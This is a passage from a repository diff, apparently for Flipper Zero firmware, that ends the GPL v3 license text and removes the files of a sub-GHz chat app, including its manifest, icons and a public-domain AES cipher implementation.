invalidate such permission if you have separately received it.
|
||||
|
||||
d) If the work has interactive user interfaces, each must display
|
||||
Appropriate Legal Notices; however, if the Program has interactive
|
||||
interfaces that do not display Appropriate Legal Notices, your
|
||||
work need not make them do so.
|
||||
|
||||
A compilation of a covered work with other separate and independent
|
||||
works, which are not by their nature extensions of the covered work,
|
||||
and which are not combined with it such as to form a larger program,
|
||||
in or on a volume of a storage or distribution medium, is called an
|
||||
"aggregate" if the compilation and its resulting copyright are not
|
||||
used to limit the access or legal rights of the compilation's users
|
||||
beyond what the individual works permit. Inclusion of a covered work
|
||||
in an aggregate does not cause this License to apply to the other
|
||||
parts of the aggregate.
|
||||
|
||||
6. Conveying Non-Source Forms.
|
||||
|
||||
You may convey a covered work in object code form under the terms
|
||||
of sections 4 and 5, provided that you also convey the
|
||||
machine-readable Corresponding Source under the terms of this License,
|
||||
in one of these ways:
|
||||
|
||||
a) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by the
|
||||
Corresponding Source fixed on a durable physical medium
|
||||
customarily used for software interchange.
|
||||
|
||||
b) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by a
|
||||
written offer, valid for at least three years and valid for as
|
||||
long as you offer spare parts or customer support for that product
|
||||
model, to give anyone who possesses the object code either (1) a
|
||||
copy of the Corresponding Source for all the software in the
|
||||
product that is covered by this License, on a durable physical
|
||||
medium customarily used for software interchange, for a price no
|
||||
more than your reasonable cost of physically performing this
|
||||
conveying of source, or (2) access to copy the
|
||||
Corresponding Source from a network server at no charge.
|
||||
|
||||
c) Convey individual copies of the object code with a copy of the
|
||||
written offer to provide the Corresponding Source. This
|
||||
alternative is allowed only occasionally and noncommercially, and
|
||||
only if you received the object code with such an offer, in accord
|
||||
with subsection 6b.
|
||||
|
||||
d) Convey the object code by offering access from a designated
|
||||
place (gratis or for a charge), and offer equivalent access to the
|
||||
Corresponding Source in the same way through the same place at no
|
||||
further charge. You need not require recipients to copy the
|
||||
Corresponding Source along with the object code. If the place to
|
||||
copy the object code is a network server, the Corresponding Source
|
||||
may be on a different server (operated by you or a third party)
|
||||
that supports equivalent copying facilities, provided you maintain
|
||||
clear directions next to the object code saying where to find the
|
||||
Corresponding Source. Regardless of what server hosts the
|
||||
Corresponding Source, you remain obligated to ensure that it is
|
||||
available for as long as needed to satisfy these requirements.
|
||||
|
||||
e) Convey the object code using peer-to-peer transmission, provided
|
||||
you inform other peers where the object code and Corresponding
|
||||
Source of the work are being offered to the general public at no
|
||||
charge under subsection 6d.
|
||||
|
||||
A separable portion of the object code, whose source code is excluded
|
||||
from the Corresponding Source as a System Library, need not be
|
||||
included in conveying the object code work.
|
||||
|
||||
A "User Product" is either (1) a "consumer product", which means any
|
||||
tangible personal property which is normally used for personal, family,
|
||||
or household purposes, or (2) anything designed or sold for incorporation
|
||||
into a dwelling. In determining whether a product is a consumer product,
|
||||
doubtful cases shall be resolved in favor of coverage. For a particular
|
||||
product received by a particular user, "normally used" refers to a
|
||||
typical or common use of that class of product, regardless of the status
|
||||
of the particular user or of the way in which the particular user
|
||||
actually uses, or expects or is expected to use, the product. A product
|
||||
is a consumer product regardless of whether the product has substantial
|
||||
commercial, industrial or non-consumer uses, unless such uses represent
|
||||
the only significant mode of use of the product.
|
||||
|
||||
"Installation Information" for a User Product means any methods,
|
||||
procedures, authorization keys, or other information required to install
|
||||
and execute modified versions of a covered work in that User Product from
|
||||
a modified version of its Corresponding Source. The information must
|
||||
suffice to ensure that the continued functioning of the modified object
|
||||
code is in no case prevented or interfered with solely because
|
||||
modification has been made.
|
||||
|
||||
If you convey an object code work under this section in, or with, or
|
||||
specifically for use in, a User Product, and the conveying occurs as
|
||||
part of a transaction in which the right of possession and use of the
|
||||
User Product is transferred to the recipient in perpetuity or for a
|
||||
fixed term (regardless of how the transaction is characterized), the
|
||||
Corresponding Source conveyed under this section must be accompanied
|
||||
by the Installation Information. But this requirement does not apply
|
||||
if neither you nor any third party retains the ability to install
|
||||
modified object code on the User Product (for example, the work has
|
||||
been installed in ROM).
|
||||
|
||||
The requirement to provide Installation Information does not include a
|
||||
requirement to continue to provide support service, warranty, or updates
|
||||
for a work that has been modified or installed by the recipient, or for
|
||||
the User Product in which it has been modified or installed. Access to a
|
||||
network may be denied when the modification itself materially and
|
||||
adversely affects the operation of the network or violates the rules and
|
||||
protocols for communication across the network.
|
||||
|
||||
Corresponding Source conveyed, and Installation Information provided,
|
||||
in accord with this section must be in a format that is publicly
|
||||
documented (and with an implementation available to the public in
|
||||
source code form), and must require no special password or key for
|
||||
unpacking, reading or copying.
|
||||
|
||||
7. Additional Terms.
|
||||
|
||||
"Additional permissions" are terms that supplement the terms of this
|
||||
License by making exceptions from one or more of its conditions.
|
||||
Additional permissions that are applicable to the entire Program shall
|
||||
be treated as though they were included in this License, to the extent
|
||||
that they are valid under applicable law. If additional permissions
|
||||
apply only to part of the Program, that part may be used separately
|
||||
under those permissions, but the entire Program remains governed by
|
||||
this License without regard to the additional permissions.
|
||||
|
||||
When you convey a copy of a covered work, you may at your option
|
||||
remove any additional permissions from that copy, or from any part of
|
||||
it. (Additional permissions may be written to require their own
|
||||
removal in certain cases when you modify the work.) You may place
|
||||
additional permissions on material, added by you to a covered work,
|
||||
for which you have or can give appropriate copyright permission.
|
||||
|
||||
Notwithstanding any other provision of this License, for material you
|
||||
add to a covered work, you may (if authorized by the copyright holders of
|
||||
that material) supplement the terms of this License with terms:
|
||||
|
||||
a) Disclaiming warranty or limiting liability differently from the
|
||||
terms of sections 15 and 16 of this License; or
|
||||
|
||||
b) Requiring preservation of specified reasonable legal notices or
|
||||
author attributions in that material or in the Appropriate Legal
|
||||
Notices displayed by works containing it; or
|
||||
|
||||
c) Prohibiting misrepresentation of the origin of that material, or
|
||||
requiring that modified versions of such material be marked in
|
||||
reasonable ways as different from the original version; or
|
||||
|
||||
d) Limiting the use for publicity purposes of names of licensors or
|
||||
authors of the material; or
|
||||
|
||||
e) Declining to grant rights under trademark law for use of some
|
||||
trade names, trademarks, or service marks; or
|
||||
|
||||
f) Requiring indemnification of licensors and authors of that
|
||||
material by anyone who conveys the material (or modified versions of
|
||||
it) with contractual assumptions of liability to the recipient, for
|
||||
any liability that these contractual assumptions directly impose on
|
||||
those licensors and authors.
|
||||
|
||||
All other non-permissive additional terms are considered "further
|
||||
restrictions" within the meaning of section 10. If the Program as you
|
||||
received it, or any part of it, contains a notice stating that it is
|
||||
governed by this License along with a term that is a further
|
||||
restriction, you may remove that term. If a license document contains
|
||||
a further restriction but permits relicensing or conveying under this
|
||||
License, you may add to a covered work material governed by the terms
|
||||
of that license document, provided that the further restriction does
|
||||
not survive such relicensing or conveying.
|
||||
|
||||
If you add terms to a covered work in accord with this section, you
|
||||
must place, in the relevant source files, a statement of the
|
||||
additional terms that apply to those files, or a notice indicating
|
||||
where to find the applicable terms.
|
||||
|
||||
Additional terms, permissive or non-permissive, may be stated in the
|
||||
form of a separately written license, or stated as exceptions;
|
||||
the above requirements apply either way.
|
||||
|
||||
8. Termination.
|
||||
|
||||
You may not propagate or modify a covered work except as expressly
|
||||
provided under this License. Any attempt otherwise to propagate or
|
||||
modify it is void, and will automatically terminate your rights under
|
||||
this License (including any patent licenses granted under the third
|
||||
paragraph of section 11).
|
||||
|
||||
However, if you cease all violation of this License, then your
|
||||
license from a particular copyright holder is reinstated (a)
|
||||
provisionally, unless and until the copyright holder explicitly and
|
||||
finally terminates your license, and (b) permanently, if the copyright
|
||||
holder fails to notify you of the violation by some reasonable means
|
||||
prior to 60 days after the cessation.
|
||||
|
||||
Moreover, your license from a particular copyright holder is
|
||||
reinstated permanently if the copyright holder notifies you of the
|
||||
violation by some reasonable means, this is the first time you have
|
||||
received notice of violation of this License (for any work) from that
|
||||
copyright holder, and you cure the violation prior to 30 days after
|
||||
your receipt of the notice.
|
||||
|
||||
Termination of your rights under this section does not terminate the
|
||||
licenses of parties who have received copies or rights from you under
|
||||
this License. If your rights have been terminated and not permanently
|
||||
reinstated, you do not qualify to receive new licenses for the same
|
||||
material under section 10.
|
||||
|
||||
9. Acceptance Not Required for Having Copies.
|
||||
|
||||
You are not required to accept this License in order to receive or
|
||||
run a copy of the Program. Ancillary propagation of a covered work
|
||||
occurring solely as a consequence of using peer-to-peer transmission
|
||||
to receive a copy likewise does not require acceptance. However,
|
||||
nothing other than this License grants you permission to propagate or
|
||||
modify any covered work. These actions infringe copyright if you do
|
||||
not accept this License. Therefore, by modifying or propagating a
|
||||
covered work, you indicate your acceptance of this License to do so.
|
||||
|
||||
10. Automatic Licensing of Downstream Recipients.
|
||||
|
||||
Each time you convey a covered work, the recipient automatically
|
||||
receives a license from the original licensors, to run, modify and
|
||||
propagate that work, subject to this License. You are not responsible
|
||||
for enforcing compliance by third parties with this License.
|
||||
|
||||
An "entity transaction" is a transaction transferring control of an
|
||||
organization, or substantially all assets of one, or subdividing an
|
||||
organization, or merging organizations. If propagation of a covered
|
||||
work results from an entity transaction, each party to that
|
||||
transaction who receives a copy of the work also receives whatever
|
||||
licenses to the work the party's predecessor in interest had or could
|
||||
give under the previous paragraph, plus a right to possession of the
|
||||
Corresponding Source of the work from the predecessor in interest, if
|
||||
the predecessor has it or can get it with reasonable efforts.
|
||||
|
||||
You may not impose any further restrictions on the exercise of the
|
||||
rights granted or affirmed under this License. For example, you may
|
||||
not impose a license fee, royalty, or other charge for exercise of
|
||||
rights granted under this License, and you may not initiate litigation
|
||||
(including a cross-claim or counterclaim in a lawsuit) alleging that
|
||||
any patent claim is infringed by making, using, selling, offering for
|
||||
sale, or importing the Program or any portion of it.
|
||||
|
||||
11. Patents.
|
||||
|
||||
A "contributor" is a copyright holder who authorizes use under this
|
||||
License of the Program or a work on which the Program is based. The
|
||||
work thus licensed is called the contributor's "contributor version".
|
||||
|
||||
A contributor's "essential patent claims" are all patent claims
|
||||
owned or controlled by the contributor, whether already acquired or
|
||||
hereafter acquired, that would be infringed by some manner, permitted
|
||||
by this License, of making, using, or selling its contributor version,
|
||||
but do not include claims that would be infringed only as a
|
||||
consequence of further modification of the contributor version. For
|
||||
purposes of this definition, "control" includes the right to grant
|
||||
patent sublicenses in a manner consistent with the requirements of
|
||||
this License.
|
||||
|
||||
Each contributor grants you a non-exclusive, worldwide, royalty-free
|
||||
patent license under the contributor's essential patent claims, to
|
||||
make, use, sell, offer for sale, import and otherwise run, modify and
|
||||
propagate the contents of its contributor version.
|
||||
|
||||
In the following three paragraphs, a "patent license" is any express
|
||||
agreement or commitment, however denominated, not to enforce a patent
|
||||
(such as an express permission to practice a patent or covenant not to
|
||||
sue for patent infringement). To "grant" such a patent license to a
|
||||
party means to make such an agreement or commitment not to enforce a
|
||||
patent against the party.
|
||||
|
||||
If you convey a covered work, knowingly relying on a patent license,
|
||||
and the Corresponding Source of the work is not available for anyone
|
||||
to copy, free of charge and under the terms of this License, through a
|
||||
publicly available network server or other readily accessible means,
|
||||
then you must either (1) cause the Corresponding Source to be so
|
||||
available, or (2) arrange to deprive yourself of the benefit of the
|
||||
patent license for this particular work, or (3) arrange, in a manner
|
||||
consistent with the requirements of this License, to extend the patent
|
||||
license to downstream recipients. "Knowingly relying" means you have
|
||||
actual knowledge that, but for the patent license, your conveying the
|
||||
covered work in a country, or your recipient's use of the covered work
|
||||
in a country, would infringe one or more identifiable patents in that
|
||||
country that you have reason to believe are valid.
|
||||
|
||||
If, pursuant to or in connection with a single transaction or
|
||||
arrangement, you convey, or propagate by procuring conveyance of, a
|
||||
covered work, and grant a patent license to some of the parties
|
||||
receiving the covered work authorizing them to use, propagate, modify
|
||||
or convey a specific copy of the covered work, then the patent license
|
||||
you grant is automatically extended to all recipients of the covered
|
||||
work and works based on it.
|
||||
|
||||
A patent license is "discriminatory" if it does not include within
|
||||
the scope of its coverage, prohibits the exercise of, or is
|
||||
conditioned on the non-exercise of one or more of the rights that are
|
||||
specifically granted under this License. You may not convey a covered
|
||||
work if you are a party to an arrangement with a third party that is
|
||||
in the business of distributing software, under which you make payment
|
||||
to the third party based on the extent of your activity of conveying
|
||||
the work, and under which the third party grants, to any of the
|
||||
parties who would receive the covered work from you, a discriminatory
|
||||
patent license (a) in connection with copies of the covered work
|
||||
conveyed by you (or copies made from those copies), or (b) primarily
|
||||
for and in connection with specific products or compilations that
|
||||
contain the covered work, unless you entered into that arrangement,
|
||||
or that patent license was granted, prior to 28 March 2007.
|
||||
|
||||
Nothing in this License shall be construed as excluding or limiting
|
||||
any implied license or other defenses to infringement that may
|
||||
otherwise be available to you under applicable patent law.
|
||||
|
||||
12. No Surrender of Others' Freedom.
|
||||
|
||||
If conditions are imposed on you (whether by court order, agreement or
|
||||
otherwise) that contradict the conditions of this License, they do not
|
||||
excuse you from the conditions of this License. If you cannot convey a
|
||||
covered work so as to satisfy simultaneously your obligations under this
|
||||
License and any other pertinent obligations, then as a consequence you may
|
||||
not convey it at all. For example, if you agree to terms that obligate you
|
||||
to collect a royalty for further conveying from those to whom you convey
|
||||
the Program, the only way you could satisfy both those terms and this
|
||||
License would be to refrain entirely from conveying the Program.
|
||||
|
||||
13. Use with the GNU Affero General Public License.
|
||||
|
||||
Notwithstanding any other provision of this License, you have
|
||||
permission to link or combine any covered work with a work licensed
|
||||
under version 3 of the GNU Affero General Public License into a single
|
||||
combined work, and to convey the resulting work. The terms of this
|
||||
License will continue to apply to the part which is the covered work,
|
||||
but the special requirements of the GNU Affero General Public License,
|
||||
section 13, concerning interaction through a network will apply to the
|
||||
combination as such.
|
||||
|
||||
14. Revised Versions of this License.
|
||||
|
||||
The Free Software Foundation may publish revised and/or new versions of
|
||||
the GNU General Public License from time to time. Such new versions will
|
||||
be similar in spirit to the present version, but may differ in detail to
|
||||
address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the
|
||||
Program specifies that a certain numbered version of the GNU General
|
||||
Public License "or any later version" applies to it, you have the
|
||||
option of following the terms and conditions either of that numbered
|
||||
version or of any later version published by the Free Software
|
||||
Foundation. If the Program does not specify a version number of the
|
||||
GNU General Public License, you may choose any version ever published
|
||||
by the Free Software Foundation.
|
||||
|
||||
If the Program specifies that a proxy can decide which future
|
||||
versions of the GNU General Public License can be used, that proxy's
|
||||
public statement of acceptance of a version permanently authorizes you
|
||||
to choose that version for the Program.
|
||||
|
||||
Later license versions may give you additional or different
|
||||
permissions. However, no additional obligations are imposed on any
|
||||
author or copyright holder as a result of your choosing to follow a
|
||||
later version.
|
||||
|
||||
15. Disclaimer of Warranty.
|
||||
|
||||
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
|
||||
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
|
||||
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
|
||||
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
|
||||
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
|
||||
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
|
||||
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
|
||||
|
||||
16. Limitation of Liability.
|
||||
|
||||
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
||||
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
|
||||
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
|
||||
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
|
||||
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
|
||||
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
|
||||
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
|
||||
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
|
||||
SUCH DAMAGES.
|
||||
|
||||
17. Interpretation of Sections 15 and 16.
|
||||
|
||||
If the disclaimer of warranty and limitation of liability provided
|
||||
above cannot be given local legal effect according to their terms,
|
||||
reviewing courts shall apply local law that most closely approximates
|
||||
an absolute waiver of all civil liability in connection with the
|
||||
Program, unless a warranty or assumption of liability accompanies a
|
||||
copy of the Program in return for a fee.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
How to Apply These Terms to Your New Programs
|
||||
|
||||
If you develop a new program, and you want it to be of the greatest
|
||||
possible use to the public, the best way to achieve this is to make it
|
||||
free software which everyone can redistribute and change under these terms.
|
||||
|
||||
To do so, attach the following notices to the program. It is safest
|
||||
to attach them to the start of each source file to most effectively
|
||||
state the exclusion of warranty; and each file should have at least
|
||||
the "copyright" line and a pointer to where the full notice is found.
|
||||
|
||||
<one line to give the program's name and a brief idea of what it does.>
|
||||
Copyright (C) <year> <name of author>
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
|
||||
Also add information on how to contact you by electronic and paper mail.
|
||||
|
||||
If the program does terminal interaction, make it output a short
|
||||
notice like this when it starts in an interactive mode:
|
||||
|
||||
<program> Copyright (C) <year> <name of author>
|
||||
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions; type `show c' for details.
|
||||
|
||||
The hypothetical commands `show w' and `show c' should show the appropriate
|
||||
parts of the General Public License. Of course, your program's commands
|
||||
might be different; for a GUI interface, you would use an "about box".
|
||||
|
||||
You should also get your employer (if you work as a programmer) or school,
|
||||
if any, to sign a "copyright disclaimer" for the program, if necessary.
|
||||
For more information on this, and how to apply and follow the GNU GPL, see
|
||||
<https://www.gnu.org/licenses/>.
|
||||
|
||||
The GNU General Public License does not permit incorporating your program
|
||||
into proprietary programs. If your program is a subroutine library, you
|
||||
may consider it more useful to permit linking proprietary applications with
|
||||
the library. If this is what you want to do, use the GNU Lesser General
|
||||
Public License instead of this License. But first, please read
|
||||
<https://www.gnu.org/licenses/why-not-lgpl.html>.
|
||||
@@ -1,15 +0,0 @@
|
||||
App(
|
||||
appid="esubghz_chat",
|
||||
name="Enhanced Sub-Ghz Chat",
|
||||
apptype=FlipperAppType.EXTERNAL,
|
||||
entry_point="esubghz_chat",
|
||||
requires=[
|
||||
"gui",
|
||||
"subghz",
|
||||
],
|
||||
stack_size=8 * 1024,
|
||||
fap_category="Sub-GHz",
|
||||
fap_icon="assets/chat_10px.png",
|
||||
fap_icon_assets="assets",
|
||||
fap_icon_assets_symbol="esubghz_chat",
|
||||
)
|
||||
|
Before Width: | Height: | Size: 3.6 KiB |
|
Before Width: | Height: | Size: 159 B |
|
Before Width: | Height: | Size: 143 B |
|
Before Width: | Height: | Size: 195 B |
|
Before Width: | Height: | Size: 149 B |
|
Before Width: | Height: | Size: 146 B |
|
Before Width: | Height: | Size: 180 B |
440
applications/external/esubghz_chat/crypto/aes.c
vendored
@@ -1,440 +0,0 @@
|
||||
/******************************************************************************
|
||||
*
|
||||
* THIS SOURCE CODE IS HEREBY PLACED INTO THE PUBLIC DOMAIN FOR THE GOOD OF ALL
|
||||
*
|
||||
* This is a simple and straightforward implementation of the AES Rijndael
|
||||
* 128-bit block cipher designed by Vincent Rijmen and Joan Daemen. The focus
|
||||
* of this work was correctness & accuracy. It is written in 'C' without any
|
||||
* particular focus upon optimization or speed. It should be endian (memory
|
||||
* byte order) neutral since the few places that care are handled explicitly.
|
||||
*
|
||||
* This implementation of Rijndael was created by Steven M. Gibson of GRC.com.
|
||||
*
|
||||
* It is intended for general purpose use, but was written in support of GRC's
|
||||
* reference implementation of the SQRL (Secure Quick Reliable Login) client.
|
||||
*
|
||||
* See: http://csrc.nist.gov/archive/aes/rijndael/wsdindex.html
|
||||
*
|
||||
* NO COPYRIGHT IS CLAIMED IN THIS WORK, HOWEVER, NEITHER IS ANY WARRANTY MADE
|
||||
* REGARDING ITS FITNESS FOR ANY PARTICULAR PURPOSE. USE IT AT YOUR OWN RISK.
|
||||
*
|
||||
*******************************************************************************/
|
||||
|
||||
#include "aes.h"
|
||||
|
||||
static int aes_tables_inited = 0; // run-once flag for performing key
|
||||
// expasion table generation (see below)
|
||||
/*
|
||||
* The following static local tables must be filled-in before the first use of
|
||||
* the GCM or AES ciphers. They are used for the AES key expansion/scheduling
|
||||
* and once built are read-only and thread safe. The "gcm_initialize" function
|
||||
* must be called once during system initialization to populate these arrays
|
||||
* for subsequent use by the AES key scheduler. If they have not been built
|
||||
* before attempted use, an error will be returned to the caller.
|
||||
*
|
||||
* NOTE: GCM Encryption/Decryption does NOT REQUIRE AES decryption. Since
|
||||
* GCM uses AES in counter-mode, where the AES cipher output is XORed with
|
||||
* the GCM input, we ONLY NEED AES encryption. Thus, to save space AES
|
||||
* decryption is typically disabled by setting AES_DECRYPTION to 0 in aes.h.
|
||||
*/
|
||||
// We always need our forward tables
|
||||
static uchar FSb[256]; // Forward substitution box (FSb)
|
||||
static uint32_t FT0[256]; // Forward key schedule assembly tables
|
||||
static uint32_t FT1[256];
|
||||
static uint32_t FT2[256];
|
||||
static uint32_t FT3[256];
|
||||
|
||||
#if AES_DECRYPTION // We ONLY need reverse for decryption
|
||||
static uchar RSb[256]; // Reverse substitution box (RSb)
|
||||
static uint32_t RT0[256]; // Reverse key schedule assembly tables
|
||||
static uint32_t RT1[256];
|
||||
static uint32_t RT2[256];
|
||||
static uint32_t RT3[256];
|
||||
#endif /* AES_DECRYPTION */
|
||||
|
||||
static uint32_t RCON[10]; // AES round constants
|
||||
|
||||
/*
|
||||
* Platform Endianness Neutralizing Load and Store Macro definitions
|
||||
* AES wants platform-neutral Little Endian (LE) byte ordering
|
||||
*/
|
||||
#define GET_UINT32_LE(n, b, i) \
|
||||
{ \
|
||||
(n) = ((uint32_t)(b)[(i)]) | ((uint32_t)(b)[(i) + 1] << 8) | \
|
||||
((uint32_t)(b)[(i) + 2] << 16) | ((uint32_t)(b)[(i) + 3] << 24); \
|
||||
}
|
||||
|
||||
#define PUT_UINT32_LE(n, b, i) \
|
||||
{ \
|
||||
(b)[(i)] = (uchar)((n)); \
|
||||
(b)[(i) + 1] = (uchar)((n) >> 8); \
|
||||
(b)[(i) + 2] = (uchar)((n) >> 16); \
|
||||
(b)[(i) + 3] = (uchar)((n) >> 24); \
|
||||
}
|
||||
|
||||
/*
|
||||
* AES forward and reverse encryption round processing macros
|
||||
*/
|
||||
#define AES_FROUND(X0, X1, X2, X3, Y0, Y1, Y2, Y3) \
|
||||
{ \
|
||||
X0 = *RK++ ^ FT0[(Y0)&0xFF] ^ FT1[(Y1 >> 8) & 0xFF] ^ FT2[(Y2 >> 16) & 0xFF] ^ \
|
||||
FT3[(Y3 >> 24) & 0xFF]; \
|
||||
\
|
||||
X1 = *RK++ ^ FT0[(Y1)&0xFF] ^ FT1[(Y2 >> 8) & 0xFF] ^ FT2[(Y3 >> 16) & 0xFF] ^ \
|
||||
FT3[(Y0 >> 24) & 0xFF]; \
|
||||
\
|
||||
X2 = *RK++ ^ FT0[(Y2)&0xFF] ^ FT1[(Y3 >> 8) & 0xFF] ^ FT2[(Y0 >> 16) & 0xFF] ^ \
|
||||
FT3[(Y1 >> 24) & 0xFF]; \
|
||||
\
|
||||
X3 = *RK++ ^ FT0[(Y3)&0xFF] ^ FT1[(Y0 >> 8) & 0xFF] ^ FT2[(Y1 >> 16) & 0xFF] ^ \
|
||||
FT3[(Y2 >> 24) & 0xFF]; \
|
||||
}
|
||||
|
||||
#define AES_RROUND(X0, X1, X2, X3, Y0, Y1, Y2, Y3) \
|
||||
{ \
|
||||
X0 = *RK++ ^ RT0[(Y0)&0xFF] ^ RT1[(Y3 >> 8) & 0xFF] ^ RT2[(Y2 >> 16) & 0xFF] ^ \
|
||||
RT3[(Y1 >> 24) & 0xFF]; \
|
||||
\
|
||||
X1 = *RK++ ^ RT0[(Y1)&0xFF] ^ RT1[(Y0 >> 8) & 0xFF] ^ RT2[(Y3 >> 16) & 0xFF] ^ \
|
||||
RT3[(Y2 >> 24) & 0xFF]; \
|
||||
\
|
||||
X2 = *RK++ ^ RT0[(Y2)&0xFF] ^ RT1[(Y1 >> 8) & 0xFF] ^ RT2[(Y0 >> 16) & 0xFF] ^ \
|
||||
RT3[(Y3 >> 24) & 0xFF]; \
|
||||
\
|
||||
X3 = *RK++ ^ RT0[(Y3)&0xFF] ^ RT1[(Y2 >> 8) & 0xFF] ^ RT2[(Y1 >> 16) & 0xFF] ^ \
|
||||
RT3[(Y0 >> 24) & 0xFF]; \
|
||||
}
|
||||
|
||||
/*
|
||||
* These macros improve the readability of the key
|
||||
* generation initialization code by collapsing
|
||||
* repetitive common operations into logical pieces.
|
||||
*/
|
||||
#define ROTL8(x) ((x << 8) & 0xFFFFFFFF) | (x >> 24)
|
||||
#define XTIME(x) ((x << 1) ^ ((x & 0x80) ? 0x1B : 0x00))
|
||||
#define MUL(x, y) ((x && y) ? pow[(log[x] + log[y]) % 255] : 0)
|
||||
#define MIX(x, y) \
|
||||
{ \
|
||||
y = ((y << 1) | (y >> 7)) & 0xFF; \
|
||||
x ^= y; \
|
||||
}
|
||||
#define CPY128 \
|
||||
{ \
|
||||
*RK++ = *SK++; \
|
||||
*RK++ = *SK++; \
|
||||
*RK++ = *SK++; \
|
||||
*RK++ = *SK++; \
|
||||
}
|
||||
|
||||
/******************************************************************************
|
||||
*
|
||||
* AES_INIT_KEYGEN_TABLES
|
||||
*
|
||||
* Fills the AES key expansion tables allocated above with their static
|
||||
* data. This is not "per key" data, but static system-wide read-only
|
||||
* table data. THIS FUNCTION IS NOT THREAD SAFE. It must be called once
|
||||
* at system initialization to setup the tables for all subsequent use.
|
||||
*
|
||||
******************************************************************************/
|
||||
void aes_init_keygen_tables(void) {
|
||||
int i, x, y, z; // general purpose iteration and computation locals
|
||||
int pow[256];
|
||||
int log[256];
|
||||
|
||||
if(aes_tables_inited) return;
|
||||
|
||||
// fill the 'pow' and 'log' tables over GF(2^8)
|
||||
for(i = 0, x = 1; i < 256; i++) {
|
||||
pow[i] = x;
|
||||
log[x] = i;
|
||||
x = (x ^ XTIME(x)) & 0xFF;
|
||||
}
|
||||
// compute the round constants
|
||||
for(i = 0, x = 1; i < 10; i++) {
|
||||
RCON[i] = (uint32_t)x;
|
||||
x = XTIME(x) & 0xFF;
|
||||
}
|
||||
// fill the forward and reverse substitution boxes
|
||||
FSb[0x00] = 0x63;
|
||||
#if AES_DECRYPTION // whether AES decryption is supported
|
||||
RSb[0x63] = 0x00;
|
||||
#endif /* AES_DECRYPTION */
|
||||
|
||||
for(i = 1; i < 256; i++) {
|
||||
x = y = pow[255 - log[i]];
|
||||
MIX(x, y);
|
||||
MIX(x, y);
|
||||
MIX(x, y);
|
||||
MIX(x, y);
|
||||
FSb[i] = (uchar)(x ^= 0x63);
|
||||
#if AES_DECRYPTION // whether AES decryption is supported
|
||||
RSb[x] = (uchar)i;
|
||||
#endif /* AES_DECRYPTION */
|
||||
}
|
||||
// generate the forward and reverse key expansion tables
|
||||
for(i = 0; i < 256; i++) {
|
||||
x = FSb[i];
|
||||
y = XTIME(x) & 0xFF;
|
||||
z = (y ^ x) & 0xFF;
|
||||
|
||||
FT0[i] = ((uint32_t)y) ^ ((uint32_t)x << 8) ^ ((uint32_t)x << 16) ^ ((uint32_t)z << 24);
|
||||
|
||||
FT1[i] = ROTL8(FT0[i]);
|
||||
FT2[i] = ROTL8(FT1[i]);
|
||||
FT3[i] = ROTL8(FT2[i]);
|
||||
|
||||
#if AES_DECRYPTION // whether AES decryption is supported
|
||||
x = RSb[i];
|
||||
|
||||
RT0[i] = ((uint32_t)MUL(0x0E, x)) ^ ((uint32_t)MUL(0x09, x) << 8) ^
|
||||
((uint32_t)MUL(0x0D, x) << 16) ^ ((uint32_t)MUL(0x0B, x) << 24);
|
||||
|
||||
RT1[i] = ROTL8(RT0[i]);
|
||||
RT2[i] = ROTL8(RT1[i]);
|
||||
RT3[i] = ROTL8(RT2[i]);
|
||||
#endif /* AES_DECRYPTION */
|
||||
}
|
||||
aes_tables_inited = 1; // flag that the tables have been generated
|
||||
} // to permit subsequent use of the AES cipher
|
||||
|
||||
/******************************************************************************
|
||||
*
|
||||
* AES_SET_ENCRYPTION_KEY
|
||||
*
|
||||
* This is called by 'aes_setkey' when we're establishing a key for
|
||||
* subsequent encryption. We give it a pointer to the encryption
|
||||
* context, a pointer to the key, and the key's length in bytes.
|
||||
* Valid lengths are: 16, 24 or 32 bytes (128, 192, 256 bits).
|
||||
*
|
||||
******************************************************************************/
|
||||
int aes_set_encryption_key(aes_context* ctx, const uchar* key, uint keysize) {
|
||||
uint i; // general purpose iteration local
|
||||
uint32_t* RK = ctx->rk; // initialize our RoundKey buffer pointer
|
||||
|
||||
for(i = 0; i < (keysize >> 2); i++) {
|
||||
GET_UINT32_LE(RK[i], key, i << 2);
|
||||
}
|
||||
|
||||
